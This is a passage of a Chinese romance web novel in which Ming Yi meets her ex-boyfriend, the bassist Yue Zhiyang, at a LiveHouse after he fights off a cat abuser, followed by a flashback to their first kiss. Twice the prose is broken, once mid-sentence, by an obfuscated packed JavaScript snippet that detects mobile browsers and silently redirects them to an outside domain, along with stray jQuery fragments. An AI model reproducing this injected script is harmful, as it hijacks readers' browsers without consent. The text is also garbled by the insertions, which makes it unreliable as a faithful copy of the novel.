明翊微微定神。 不出所料,撞入一道冷淡的视线之中。 大约是等得着急,越之扬已有些按捺不住,手掌撑在门框一侧。 看样子是打算暴力拆卸。 明翊的目光忍不住在他脸上逡巡一阵。 眼前这人面无表情,眉头紧紧蹙起,眼皮却没什么精神地向下耷拉着,瞧上去似是心情极度不爽。 半年不见,越之扬几乎没什么变化。 那张脸依旧耀眼夺目,钟以晴在的话保不齐又要犯花痴,只是瞧上去似乎瘦了不少。 在明翊的印象里,越之扬的脸部线条远没有这么凌厉,他的脸颊其实很有些肉感,弱化了那张脸的锋利,添了几分难得的青涩少年气。 如今,这份青涩与稚气一并褪去。 青年的下颌线被勾勒得尤为冷硬,冷着一张脸看人的时候,威慑力出奇的强。 二人四目相对。 一秒。 两秒。 没任何特别的反应。 明翊不动声色移开目光,神经稍稍放松了些。 看样子,这是没有认出她。 就在这时。 越之扬的手自门框一侧放松,脚也一并收回。 下一刻,明翊身后那个白色的小毛球旋风一般蹿了出去,蹦到他脚边。 她下意识拦了一下:“哎,别乱——” 话音刚落,越之扬已俯身将那猫抱起,有些粗暴地揉了揉小猫脑袋。 “啧,又乱跑,被人逮去卖了都不知道。” 明翊顿住。 “……” 这居然是他的猫? 但。 这不善的语气是怎么回事? 怎么莫名有种好心被当驴肝肺的错觉。 但人家也只是在例行教育,整个过程没有分给她一丝一毫的眼神,不存在任何指桑骂槐的嫌疑。 明翊也只好咽下这口气,打算默不作声地转身离开。 可那边似乎没有就此打住的想法。 越之扬抱着猫站在女厕门口,揪着猫猫的后脖颈开始训话,跟堵人造墙似的,完全没有—— 她的,容身,之地。 静默半晌,明翊舔了舔干涩的唇,忍不住打断:“那个,您好。您打孩子的话能回家再打…么?” “……” 闻言,对面投来淡淡一瞥。 场面似是僵持住。 明翊又解释:“您不要误会,我对您的教育方式没有任何意见。只是现在,麻烦借过一下…可以么?” 眼看这人的眼神越来越冷,她甚至还十分上道地加了几个委婉的语气词。 但状况似乎并没有因此好转。 越之扬没吭声,貌似也没有任何要让路的打算,只垂眸静静望着她。 已经开了口,也不好自乱阵脚,明翊只能强作镇定,坦然自若迎上他这目光。 顿半刻。 越之扬终于向后撤一步。 “……” 是的,只有一步。 明翊傻了眼。 以前也不是不知道,越之扬的身材其实很好。是那种穿衣显瘦、脱衣有肉的类型,看上去薄薄一片,真要往人面前站,压迫感就有些强了。 只是,这压迫感也不能随处乱用吧。 如今明翊望着那个勉强够半个人‘借过’的通道,一阵无语。 她抬眸望向越之扬,希望这人能自觉意会她的为难。 然而,对面神色如常。 似乎方才后错的那一步已经是他难得的宽宏大量,完全没有再高抬贵脚的打算。 纠结几秒,明翊只好又开口:“是我借过,不是猫……” 明翊能察觉到越之扬似乎在生气,却不是很明白他到底在气些什么。 沉默良久,那边终于慢条斯理吐出个字:“哦。” 而后,又慢吞吞,往外挪了两步。 “……” 明翊这回是彻底死了心。 生气的越之扬比不牵绳的狗还难抓,更别提和他沟通。 她也自觉打消了再浪费口舌的念头,只攥紧自己的包,打算从他身侧挤过去。 这距离其实很近,近到几乎一个不小心就会碰到。 错身而过的瞬间,明翊还能嗅到他身上清冽的薄荷香气,似有若无地,淡淡萦绕在空气里。 眼前视野被铆钉外套黑沉沉的颜色所充斥,耳畔离得极近的呼吸声却陡然加重。 又不爽? 明翊是真不明白自己又是哪里惹到他了。 但目前显然不是思考这些事的好时机,遇到麻烦就避开是永恒不变的生存哲理。 她也只能尽量降低自己的存在感,恨不能直接挤进门框,一根头发丝也不要落到他身上。 这瞬间,越之扬怀里的白猫又探出个脑袋,想往这边凑。 但下一刻就被天降正义无情制裁,猫头被狠狠按了回去。 “没瞧见人家不待见你是吧,还不知好歹地往上凑?” “……” 这动静惊得明翊一阵无措。 但好在,她总算是挪了出去。 明翊能感觉到,从始至终越之扬都在盯着她看,那目光如有实质,沉甸甸地黏在身上。 绝对不算友善。 别人或许不知道,她却很是清楚,越之扬其实是个特别傲的人。 表面上一副玩世不恭、恣意张扬的散漫性格,好像和谁都能玩到一起去,但心里其实比谁都冷都傲,自尊心极强,一旦受了挫便不会再施舍罪魁祸首半分眼神。 无论如何,明翊知道今天自己做的有些过分了。 背过身站定后,她近似机械地摸了摸覆在脸上的口罩。 认出她了么? 应当是…… 没有吧。 与此同时,身后充满压迫感的视线骤然拉远。 越之扬收回目光,识趣地后退几步拉开距离,二人之间重又变得礼貌而克制。 陌生人一般。 * 这时候,明翊才注意到,那黄毛正惨兮兮地躺在男厕门口,倒地不起。 方才嚣张的男人此刻鼻青脸肿,本就猥琐的一张脸更加惨不忍睹,只从红肿的眼缝里漏了一点光,盯着这边。 那目光令人很不舒服。 扫视一圈,明翊并没有看到之前跟在黄毛身后的那个高壮男人。 原本因为不慎撞见前男友的尴尬气氛散去,冷静过后,劫后余生的后怕才渐渐上涌。 联想起刚才的一系列经过,她还是有些放心不下,想着提醒两句,一转身正看到猫猫整个缩在越之扬怀里。 半个脑袋被死死按住,模样有些可怜。 她忍不住开口:“你这样抱它,它会不舒服的。” 越之扬没吭声。 明翊皱起眉,又伸手指了指他外套上的铆钉:“那个,会很硌。” 本以为这回能得到些善意的回应,谁成想那边懒懒撩起眼皮:“你怎么知道?你被人这样抱过?” “……” 明翊当即选择闭嘴。 友好交流什么的,果然是痴心妄想。 狗嘴里吐不出人话。 正暗自吐槽,那边忽地又将猫递了过来:“这么多意见,不然你来养?” 明翊愣了下,还不是很能理解这是个什么剧情走向,只下意识拒绝:“谢谢,但好像是…没这个必要。” 话刚说完,她就隐隐觉得不妥。 按照常理,这时候坏脾气的越之扬应该十分欠抽地接一句—— “那就别这么多废话。” “……” 但罕见的,那边什么都没再说。 她抬起眼,略带探究的视线落到对面,没看出什么端倪。 正要收回目光,又不经意间瞥到这人身后的洗手台上方,隐约露出截黑色琴头。 那是一把通体漆黑的贝斯,前不久刚在二楼见过。 此刻这把贝斯破破烂烂,只是大致扫过一眼,明翊就能看出坏得不轻。 琴弦崩断了几根,琴体的破损更为严重。损坏的地方几乎呈一个弧度直接凹下去,经此一役大概是要报废。 所以刚才,他是拿这把贝斯砸的人? 一对二,也不知道越之扬受伤没。 联想刚才那万分惊险的状况,虽然自己的初衷是为了救猫,但不管怎么说,那两个男人明显是冲着她来的。 而这个人,出手帮了她,还因此弄坏了贝斯。 想到这,明翊的语气不觉软了几分:“谢谢您刚才的帮忙,我记得好像是还有一个人……” 越之扬懒洋洋道:“跑了。” 二人间隔着段很克制的距离,不远也不近。 趁他转身拿贝斯的功夫,明翊的视线仔仔细细在越之扬全身扫过一遍,没瞧见什么明显的伤口,登时松了口气。 见他似乎是打算离开,又记起自己原先的目的,她急忙搭话:“您是这里的工作人员吧?” 越之扬动作一停,看过来的眼神透着些古怪。 不确定他到底有没有认出自己,明翊也不好擅自攀关系。 而有些关系,有还不如没有。 因此她的措辞十分谨慎且客套,但等了好几秒,那边都没给出回应。 忍不住就有些忐忑。 顿几秒,明翊还是鼓起勇气提了句。 “是这样的,我刚才给前台那边打过电话,已经交代了情况。是他们虐猫在先,具体经过你们可以查看监控,应该拍得很清楚。而且这两个人,应当是惯犯了……” 说到这里,她话音一顿。 想了想,还是没有说自己在地铁口附近被骚扰的事情,只是交代他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765347|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意一下店里的情况,没必要讲那么多。 “店里的女性顾客居多,他有可能还会骚扰顾客什么的,你们开店经营的话得注意一下。” 短暂的停顿过后,明翊又开口:“要是方便,老板可以出面报警备个案。关于您损坏的贝斯,有一半的原因也算是在我,我可以赔偿您…一半。” 那头却还是沉默,明显是不满。 “全款,也行。” “……” 明翊捏了捏掌心,有些发汗。 其实她大可以道谢过后谈好赔偿事宜就转身走人,自顾自说这么一堆,也只是为了让前男友的创业之路少些波折。 毕竟听钟以晴刚提起过,这家店似乎是刚开业不久。 可面前这人明显是不领情,恍然间,明翊有种自己在演舞台剧、对手演员却并不接戏的无措感。 不知道越之扬的坏脾气什么时候又更上一层楼了,已经从嘴欠直接进化成了哑巴。 明翊下意识不想去承认也许这人有可能是认出她了的选项。 但假如…… 假如越之扬真的认出是她,那就直接撕破脸好了。 尴不尴尬什么的,也管不了那么多了。 单凭十几天前那条欠揍的朋友圈,现在自己肯站在这个人面前和他装陌生人,还好心为LiveHouse的顾客安全着想,已经算是很顾忌二人从前的情分了。 他到底还有什么不满意的? 明翊越想越气。 这时,一行人浩浩荡荡自走廊另一头而来,为首的是那个眼熟的小卷毛,身后还跟着几个身材高壮的保安。 “快点快点,刚那女生说有人在店里闹事。” 瞧见二人,小卷毛脚步一顿,有些惊讶。 “扬哥,你怎么在这儿啊?你不是在前头演出吗?” 越之扬暼他一眼,淡淡道:“我闲的。” “……” LiveHouse的安保动作迅速,将那黄毛直接架走,留下小卷毛处理情况。 明翊和他交涉了一番,再次重复了一遍事情经过,问及赔偿的事,他摆摆手说这本来就是店里的疏忽。 顿几秒。 明翊以眼神示意越之扬手里拿着那个的贝斯。 “那…那个呢?” 小卷毛一瞧,顿时大惊失色。 “我靠!扬哥这不是你新买的贝斯吗?去参加二战了坏成这样?!” “……” 明翊哽了下,因为理亏,她也只好默不作声地等着越之扬表态。 这人却不吭声。 这时,小卷毛像是忽然意识到什么,见那边没有出面解决的意思,只好挠挠头自行发挥:“啊,那个啊…那是乐队成员自己的财物,不归我们店管。” 言下之意,就是你们俩自个儿交涉去吧。 知道今天八成是躲不过去了,明翊只好又硬着头皮朝越之扬开口:“那个,您的贝斯,贵吗?” “您看看我这边需要赔偿您多少。” 多了一个人在场,越之扬总算是不装哑巴了,也终于肯抬眼看向她,语调懒懒散散。 “不贵——” “那好,您的财务损失……” 我会照价付您。 明翊原是打算这么说的,在听到下一句话之前。 “——也就一万八。” “……” 挺好,不吃不喝一个月勉强够供半个贝斯,早知如此她直接拎着拖把带猫出去和黄毛搏命算了。 想到这,明翊的表情差点没能兜住。 越之扬的目光缓缓在她脸上落定,静静看了有一会儿,也不知他隔着口罩究竟在看些什么。 忽地,这人冷笑一声,转了话题。 “你刚没看见?” 明翊:“?!” 她有些惊讶,没道理两人心照不宣装了这么久的陌生人,小卷毛一来越之扬就要把他们的关系给抖落出来,但听他这话,总感觉接下来必须得接一句: 你是不眼瞎? 看见前男友在这儿也不知道过来碰一杯? 出乎意料的,越之扬却只是淡淡斜睨一眼,没好气道:“我刚在那儿演出,又唱又跳的,你没看见?” “……” 没等回答,他又自顾自继续道:“我呢,是这里的贝斯手,只负责演出,别的事儿,一概不管。” “你要报警,找保安,赔偿的事,问前台。” “所以,还有别的事儿吗?” “……” 此话一出,明翊更加困惑,不是很明白他这是自我介绍还是别的什么。 也无法确定,越之扬这究竟是,有没有认出她。 倒是一旁的小卷毛殷勤地凑到她耳边悄声提醒:“扬哥的意思是不用你赔。小姐姐,这事你就不管了,都交给我们店里来解决。” 明翊讷讷看向他。 不知为何,对面的声音忽地沉了下来:“Eden,你很闲?” 名叫Eden的小卷毛火速摇头。 “你事情都解决完了是吧?什么人都往店里放,不知道的还以为我们这儿是垃圾回收站。” Eden弱弱道:“没……” “那你还有心思杵在这儿,”越之扬侧头看他,语气不善,“——撩妹?” “……” 也不知这人是又误会了什么。 但Eden到底不敢和这不讲理的人争辩,打了个招呼扭头就跑了。 走廊里又只剩下了二人,那种无孔不入的尴尬再度冒了出来。 正不知如何处理。 又回想起他先前的话,明翊稍稍思考了番,斟酌好措辞之后才谨慎地仰起脸看过去。 “我这儿,好像也没别的事了。” “……” 二人的视线再次对上。 越之扬嘴角一抽,明显是在压着火气,但拿捏不准对面到底有没有认出自己,明翊也不知该如何处理。 于是这气氛,尴尬得像是旁边死了个人都会憋不住从棺材里爬出来找个地儿另埋。 就在明翊也顶不住,正想反问一句‘那您还有别的事儿吗’的时候,越之扬忽地冷笑一声,抱着猫径直离开。 “没事的话,那就走吧。” 既然这么不想见我—— “以后也别再来了。” 他淡淡道。 4. 04 直到这一刻,明翊才敢确定,越之扬确实是认出了她,并且那股说不清道不明的不爽不是因为黄毛男或是猫之类。 单纯只是针对她。 怔怔盯着走廊另一头那个越走越快的背影看了许久,被猛然泼了盆冷水的大脑这才稍显迟钝地回神。 她收回眼,不自觉就有些生气。 凭什么,这家店又不是他越之扬开的,他说不让来就不来? 再说—— 她来这里又不是为了看他,有必要管这么宽? 虽说自己确实是存了往后路过这片儿都自觉退避三舍的打算。 话虽如此,出于对他方才出手相助的感激,明翊还是默默在原地站了一会儿,等越之扬的背影彻底消失在走廊拐角才继续抬脚往外走,避免两人又不慎撞上的可能。 却没想,这次换他被堵在了走廊过道。 “我靠扬崽!你带你家猫和贝斯一起去叙利亚旅游了?!” 猫猫十分应景地嗷了一声。 拐角口狭窄,又恰好是视线死角。 听见那动静,明翊一个急刹,险之又险地避开了差点要怼到脸上的铆钉。 事发突然,心气又不顺,她也就再顾不上要和这人假装陌生人,下意识仰起脸用目光无声谴责他这随意挡路的不道德行为。 越之扬垂眸淡淡一瞥就收回视线。 过道口很快被让出,眼前却又出现了一个镶着亮闪闪铆钉的外套。 “……” 明翊莫名觉得自己今天跟铆钉犯冲。 视线再往上,是张有些眼熟的娃娃脸。 大眼睛,桃花眼,很干净俊秀的长相。表情却丰富得有些过分了,跟这张无害的脸完全不搭。 那娃娃脸看到她明显是一愣。 面色疑惑地扭头看向越之扬,又看回明翊,视线在二人中间来回打转。终于一拍脑门,脱口而出:“我就说怎么瞧着这么眼熟!扬崽,这不是你女朋友嘛!” “……” 明翊:? 明翊觉得,现在如果是八点档狗血剧,那么特效必须得给她脑门上打个大大的问号。 什么叫,这不是你女朋友吗? 她和越之扬不是早就分手了? 并且前不久这人还在朋友圈官宣了新女友,就算是女朋友也轮不到她吧。 “我说你换个乐器怎么半天不来,叫我们好等,原来是跑这儿和女朋友约会来了。”孙卓然朝走廊尽头张望,“不是我说,你俩儿也真是会挑地方,这破地儿有啥好待的,为啥不去后台那块儿?” 娃娃脸叫孙卓然,是越之扬的好友,也是Disband的一员。 明翊不常见越之扬的朋友,不是特别要紧的事也不会去麻烦他,因为他俩儿算是地下恋情。 交往两年,二人社交圈的重合少得可怜。 哪怕是在滨江大学里擦肩而过,也不会有人把他们联系到一块。 孙卓然之所以认识她,是因为这人曾经撞破过她和越之扬的——奸.情。 那应当是他们交往第九个月,时间临近暑假。 越之扬的乐队在筹备放假前的最后一场演出。那月的滨江下了暴雨,气温骤然回冷,这人要风度不要温度、一心耍酷结果耍出个重感冒。 明翊学的汉语言,结课时间比越之扬他们早,早早就定了回家的车票,而对方正为了这事和她闹脾气。 “就非得这么早走是吧?” 孙卓然家境好,在校外专门给乐队租了个工作室。那天乐队成员要么忙着备考,要么有事不在,越之扬打电话叫她过去。 偌大的工作室里,只有他们二人。 这人窝在一堆杂乱无章的乐谱本里,双手枕在脑后,不满的视线一个劲在她身上晃。 明翊对此毫无所觉。 票是老早就定好的,时间快到跟前也划不来改签,那笔钱虽然不多,但她向来是能省则省。 至于错过了越之扬的演出,那也是他自己的问题。 早就定下的曲目,临到头了非要改,连累着整个乐队都要陪他一起重新排练。 明翊有时候会莫名有点看不惯这人。 他好像从来都不会去顾忌旁人的看法,随心所欲,肆意妄为。至于这样做会导致什么后果,能承受就自己担着,受不住天要塌就让它往下塌。 这世界对越之扬而言就像是一个巨大的游乐场,而他拿着名为勇气的最昂贵的门票。 这两个字,恰恰与明翊无关。 越之扬似乎有着多到用不完的底气,这份底气无关是否有人为他兜底,至于会不会把天捅破、捅破了他又兜不兜得住,这个人也根本不会在乎。 这份恣意有时候会刺痛她。 明翊没有那种允许一切都被搞砸的勇气,如果可以,她希望所有事情都在掌控范围内发生,平静而安稳,留给她充足的准备期限。 也不要有任何意外。 回江宁之后还有别的事。 所以她不打算为越之扬改变自己的计划。 至于演出,每年都有。 又不是错过这次回来就再也看不到了。 明翊只是惊叹于: 原来一堆男孩子待的地方,住久了真的会变成狗窝。 她将地上的废弃稿纸捡起,整理好放在后排的长木桌上。越之扬觑着明翊的表情,出言解释:“不是我弄这么乱的,是孙卓然他们。” 明翊只点点头,一副完全没听进去的模样。 “别收拾了,谁弄乱的谁收拾,你管他们做什么。”越之扬又凑过去,声音放得很轻,“别走行不?就多留几天,不会耽误你太多时间。” 那应当算是请求。 但明翊没有察觉,她挣开越之扬的手,直直对上他视线,无奈道:“改签很贵。” “钱我出。” 她抿了下唇,心里忽然就有点不舒服,很快又换了个借口:“你演出时间拖太晚了,那会儿都清校了,我没地方去。” “去我那儿?” “……” “…你想得美。” 明翊拿起稿纸,在这人头顶轻轻敲了那么一下。 越之扬脑袋耷拉着,有段时间没修剪的刘海一跳一跳,身上的桀骜张扬也一并收敛,莫名显得温顺。 “你再不喝,就凉了。” 明翊用眼神示意一旁放着的姜汁可乐,不动声色转移话题。 这人多少有点毛病,生病了拖着不去看医生,也不肯好好吃药,非要打电话让她打包北食堂三块钱一杯的姜汁可乐送过来。 倒像这东西是什么灵丹妙药。 工作室离学校不算远,但这段距离,也足够热腾腾的姜汁慢慢转凉。 明翊不知道这里有没有办法加热,特意去超市买了保温杯,到最后买保温杯的钱都要比可乐更贵。 越之扬不情不愿地磨蹭到桌前,声音听上去闷闷的。 “我生着病,需要人照顾。” 言下之意—— 大概就是你留下来照顾我几天,这要求不算过分吧? 明翊也觉得不过分,但也不想再和他继续聊这个话题。她起身走到茶几旁去拿他随手架在桌面的乐器,又十分不解风情地开口。 “你也知道自己生着病,生病了应该找医生,而不是女朋友。再说——” “感冒可是传染性疾病之一,按照常理,你今天应该要和我保持距离,免得传染给我,连累我也生病。” “……” 越之扬气笑了。 女朋友这张破嘴,是知道怎么气人的。 这是哪门子的常理? 脑袋被门夹了的人会想出来的常理。 他转过身,漆黑的眸一瞬不瞬盯着她。明翊被他看得毛骨悚然:“你看我做什么?” 越之扬眯了眯眼。 “…看你今天要完蛋了。” 愣神的瞬间,对面忽地一个箭步上前,一把攥住她手腕。 明翊正靠在沙发一侧,被这突如其来的动作扯得站立不稳,歪歪斜斜就要往越之扬方向倒。 后腰却被一只有力的手揽过,越之扬将她猛地向上一提,于是明翊直接单膝跪进了松软的沙发里,整个人同时被他紧紧扣入怀中。 气氛突然变得有些微妙。 明翊像是提前察觉到危险的小动物,本能地想要逃避。 然而,她没能成功。 揽住后腰的那只手缓慢向上,止住她后退的趋势,手掌带着不容抵抗的力道覆在后脑,越扣越紧。 呼吸灼热,唇也滚烫。 膝盖下跪着的沙发是软的,越之扬的唇也是。 这还是他第一次亲她。 二人交往了有大半年,始终秉持着克制礼貌的安全距离,明翊不是会主动提这些事的人,越之扬也不对此多做要求。 那瞬间,第一感觉其实是慌乱。 心慌、脑子也乱,像是有什么东西马上就要破土而出。 这种无措感,足够人手忙脚乱。 明翊下意识地抗拒,挣开了越之扬的束缚,仓皇后退的瞬间,目光又意外撞进这人的视线之中。 漆黑、清亮,似乎是带着那么点儿受挫之后的灰心丧气。 但明翊觉得这更有可能是自己的错觉。 因为越之扬明明正紧紧扣着她的肩膀,却没再动作,只垂眸定定望过来。 完全不知道该怎么处理这种情况,她本能地为自己找借口。 这种把感冒亲自传染给女朋友的不道德行为,换个人来不也得照样挨锤? “你这样没用。” “…就算我生病了,也照样是要走的。” 隔几秒,头顶落下道清晰的嗤笑声。 这有话不说只开嘲讽的坏习惯,这么多年也没改。 当时,明翊抿了抿微微湿润的唇,后知后觉地有些不自在。 越之扬将她的小动作尽收眼底,立刻松开手,在桌面抽了几张纸过来,垂下头去擦她的唇。 明翊下意识地想要躲避,下巴却被人紧紧扣住。 与此同时,那声轻而淡的“别动”砸落在安静得有些过分的空间里。 掷地有声。 因着这气氛,她也只能被迫保持这个姿势。过了好一会儿,剧烈跳动的心跳像是才逐渐平复。 明翊忍不住抬眼想去看对面的表情,却无意间再次跌入他平静无波的目光。 “……” 明翊不得不承认,在面对这样的越之扬时,她其实比刚才还要更加没底气。 她讨厌他这种好似看穿一切的眼神。 这眼神会让她所有的失控与慌乱无所遁形。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765348|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 亲吻的那瞬间只顾着发懵和逃避,此刻理智回笼,所有情绪慢一拍地涌上来。 潮水一般,搅得她晕头转向。 面对着平静得有些反常的越之扬,明翊忽然有种,现在这情况,无论说什么都是错的直觉。 也只好闭口不言。 越之扬擦得缓慢,动作也温柔。 明翊今天没涂口红,嘴巴上干干净净。也不知道他究竟在擦些什么,甚至用在这上面的时间都要比二人方才蜻蜓点水的一吻要更长。 刚打算说点儿什么缓和气氛。 越之扬忽地抬眸直直望过来,语气中嘲讽意味明显:“回去记得吃感冒药,别被你混.蛋男朋友给传染了。” 工作室的门在这时被人推开。 “扬崽,你爹我给你送饭来了!你要黑胡椒味的还是青椒味儿?快喊爹,不喊爹不让吃!” 孙卓然拎着几大盒外卖闪亮登场。 按理说,取外卖这种事应该轮不到他,毕竟这一向是贝斯手的‘拿手绝活’。无奈越之扬是队霸,指望他出去买饭,那大家就等着一起饿死吧。 明翊也是趁着孙卓然出去买饭,才有空过来看看他,没想到二人一番拉扯,耽误得有点久。 孙卓然站在门口,定定望向二人,表情着实是有些无助。 “……” “……” 三人视线交汇,只余尴尬。 “爹!我什么都没有看见!你们继续!” 然后这人就像是身后有鬼在追一样关上门火速溜了。 明翊怔了瞬间,又回头看向越之扬,“我们有在这里,做什么过分的事情吗?” 要是五分钟前孙卓然破门而入发出这种感慨,那勉强还算合理。 但刚刚越之扬就只是纯洁地帮她擦个嘴唇,怎么就沦落到能让人夺门而出的程度了? 越之扬直起腰,随手将纸扔进垃圾桶,语气漫不经心:“他傻缺,你不用理他。” “……” 明翊有些不习惯男生之间的说话方式,明明没什么火药味也总感觉很冲,像是在对骂。 她试图打个圆场:“也不能这么说,他可能就是误会了……” 话还没说完,就被越之扬给打断。 “明翊。” 他喊她的名字,一字一顿,像是压抑着某种情绪,而此刻已忍无可忍。 “你还记得,我们是在谈恋爱吗?” * 当年是在谈,现在不一定。 那天离开时,明翊同孙卓然温柔耐心地打过招呼,以越之扬女朋友的身份。 临走前,还把带过来的感冒药附上手写说明书通通留给孙卓然,拜托他看着这人好好吃药。 所以孙卓然知道,那两年里他们是在交往。 但如今,是怎么一回事? 地下恋是个馊主意,当初委屈了越之扬,对不起他,她认。 但现在又是什么一个情况? 难不成为了膈应前女友,这人要搞出个地下分手? 活这么久,明翊还没见过谁家连分手都要偷偷摸摸这种奇葩事。 虽说知道二人关系的人并不多,但仅有的几个,也得通知到位啊。 而且看孙卓然这反应,尽管明翊不是很想自作多情,但那个古怪的念头还是止不住一个劲儿往外冒。 怎么感觉。 孙卓然似乎还觉得自己是越之扬在谈的女朋友? “……” 难道是因为戴着口罩所以认错了? 没等明翊想明白,对面已一脸兴奋地上前,就要拉着她叙旧:“学姐,来给扬崽庆功的是吧!怎么不早说,早说直接给你留内场了,那块儿视野特好,能看到这孙子腹肌的那种。” 话毕,他又垂眸看了眼手表。 “现在时间还早,今个儿是圣诞。一会结束了要不过去跟我们几个吃顿火锅?快半年没见,你这戴着口罩我这一下子差点没能认出来,这是又过敏了还是……” 学姐一出,明翊基本上可以确定: 孙卓然确实没认错。 他们三人都是滨江大学的校友,三人同校不同系,明翊比二人大一级。 只不过,越之扬从来不叫她学姐,只有孙卓然每次碰面会规规矩矩喊声学姐。 但孙卓然这人,属实是有些精力旺盛了。 明翊几乎快招架不住他的热情,仓皇后退间,面前忽然横过来一只手臂,将二人隔开。 一直沉默的越之扬再次天降正义,上前将兴冲冲的孙卓然一个侧身直接挡住,就要拖着人往外走。 “别废话,走了。” “啊?”孙卓然愣了下,“欸,你这人怎么回事儿啊?都这么久了对女朋友占有欲还是这么强,看都不让看一眼?” 他忍不住骂骂咧咧地吐槽。 “我说扬崽,你这就过分了,明翊也是我学姐……” 二人向前的脚步忽地一顿。 静默三秒。越之扬侧头望向孙卓然,目光冷淡:“哪儿来的女朋友?梦里的?” 孙卓然:“……” 对面表情一僵,明显是没反应过来。 越之扬却像是再没了认真解释的耐心,抬脚径自离开。 隔着老远,明翊听见他似乎冷透了的声音。 “早分了。” 5. 05 明翊讶异地挑一下眉,倒是没见过分手半年、被人戳穿才出面澄清的行为。 只觉得这人的反射弧也是够长。 孙卓然回头朝这边望了一眼。在他震惊的目光里,明翊淡然一点头,算是默认。 这下,对方的眼睛瞪得更大了。 似是想要个解释。 明翊早有预料地偏过了头。 和越之扬在半年前就已经分手,这是板上钉钉的事实。除了钟以晴之外,她没有再需要额外告知这件事的朋友。 越之扬那边的朋友,也该由他自己想办法解决。 而他到底作何打算,为什么要在有可能进入下一段恋情的情况下,还要向孙卓然他们隐瞒二人早已分手的事实,无需她这个前女友来解释。 至于有没有什么额外的隐情,明翊也无心过问。 孙卓然很有眼色地追随越之扬麻溜离去。可这人的嗓门大,尽管有心压制,过道那边难以置信的追问还是传到了明翊耳中。 “啥时候的事儿啊?扬崽你怎么都不跟我们几个说一声。” “你和学姐怎么会分手,这怎么可能,你当时——” 当时什么? 二人远去,后面的交谈声随之减弱,她没能听清。 或许是因为那些被孙卓然的出现意外勾起的回忆,一直以来都被明翊好好封存起来的情绪连带着属于盛夏的潮湿与闷热一同袭来,侵蚀她自认牢不可破的心防。 滨江市靠近大陆南部,雨水丰沛。 作为北方人,明翊对这城市的第一印象就是连绵到似乎永远都不会停歇的雨季。 跟越之扬在一起的那两年里,滨江的雨水更是多得离谱,她整个人像是泡进了一场潮热的雨季。 越之扬也像一场雨。 潮湿、炎热、毫无征兆,又延绵不绝。 只不过,如今她已经算是同这场雨好好道过别了。 * 初冬的空气凛冽如刀锋,明翊深吸口气,很快将情绪从这种莫名奇妙的旋涡里抽离,手机正轻微震动。 她回过神,接通。 是钟以晴的电话。 明翊整理好手边的东西,又想起被自己遗落在卫生间的雨伞,回去取了一趟,边跟钟以晴讲话边往外走。 路过前台时,正巧碰上了匆匆赶来的民警。 明翊的视线扫过众人,看到了站在柜台后方的Eden,原来他就是LiveHouse的前台。 又想起刚才越之扬的话。 所以,他的意思应该是—— 有事直接去找Eden? 别来烦他。 见明翊出来,Eden踌躇着望了她半天,似乎是有话想说。 “抱歉啊,今天这事儿都是我们店里的疏忽,给您造成了困扰。” “老板说让我跟您商量一下赔偿事宜,您这边方便留个电话吗?下次来的话可以直接免单。” 明翊完全没这个打算:“没事,赔偿什么的就不用了。” 似是也觉得自己这话说得离谱,Eden尴尬地挠挠头,“就是说啊,发生这种事您以后肯定是都不会想着再光顾了,也不知扬哥那边发什么神经……” 明翊顿了顿,没接话。 这时,两位民警已经看完了店里的监控,正朝这边走来。Eden又道:“对了小姐姐,我刚报了警,您这边方便吗?警察叔叔可能会找你了解下具体情况。” 明翊很快点头。 又跟那边复述了一遍事情经过。 核实完情况,因为明翊跟那两人没有直接冲突,监控也显示她全程都是正当防卫,事情很快结束,也不用麻烦她再走一趟所里。 这一番偶遇,和不想见的人直直打了个照面,明翊也就没了再遮遮掩掩的必要,刚跟钟以晴说自己一会儿就回去找她。 下半场演出正嗨,此刻的内场挤得水泄不通。朝里望了一圈,明翊有些头疼,在满场人里找一个撒了欢儿的钟以晴,这难度未免太大。 她索性直接放弃,走到一旁的柜台边,低着头给对面发微信。 Eden那边还在交涉。 “那小伙子呢?” “扬哥吗?” “对,就监控里那个抡着贝斯揍人的小伙子,豁——力气够大的啊,他人呢?” “他得跟我们走一趟。” …… 因为离得近,这番对话被明翊听得清清楚楚。 看来越之扬这是摊上事了。 打字的手指一顿,明翊忽然就有些踌躇。 不管怎么说,越之扬动手的原因一半也是为了自己。 事情愈演愈烈似乎也有她贸然插手的原因在,如果是别的人上前劝阻,状况可能也不会发展成这样。 所以此时此刻,明翊似乎也没办法就这么狼心狗肺地把他一个人给撂这儿。 * 跟民警那边提交了些先前那男人偷拍的证据,明翊便退回到柜台边。 因为需要跟着走一趟。 她也不急着叫钟以晴出来,不想连累好友一起担心,只说自己这边有事要忙,没跟钟以晴提具体情况,让她好好去玩,结束后直接回家就行。 手机屏幕冷色的光源打在明翊脸侧,映得她垂下的长睫根根分明。 大多数时候,她给人的就是这么一副岁月静好的形象。 明翊皮肤白,气质又温和,就连五官也没多少锐利的棱角。鹅蛋脸,发色相对常人较浅,眼睛倒是存在感很强的丹凤类型,眉眼飞扬。 但素来没什么波澜,整个人像一片柔软的云,待在她身边,会奇异地觉得似乎连时间都慢了下来。 Eden看得一阵心软软。 刚才短暂的一番相处,又听她陈述了一遍在地铁站的事情经过。这人已经对明翊产生了一些不切实际的联想,误以为她是那种被人欺负了连句重话都不敢说的小可怜。 民警带着黄毛男出了门,这会儿前台附近就只剩下他们两人。 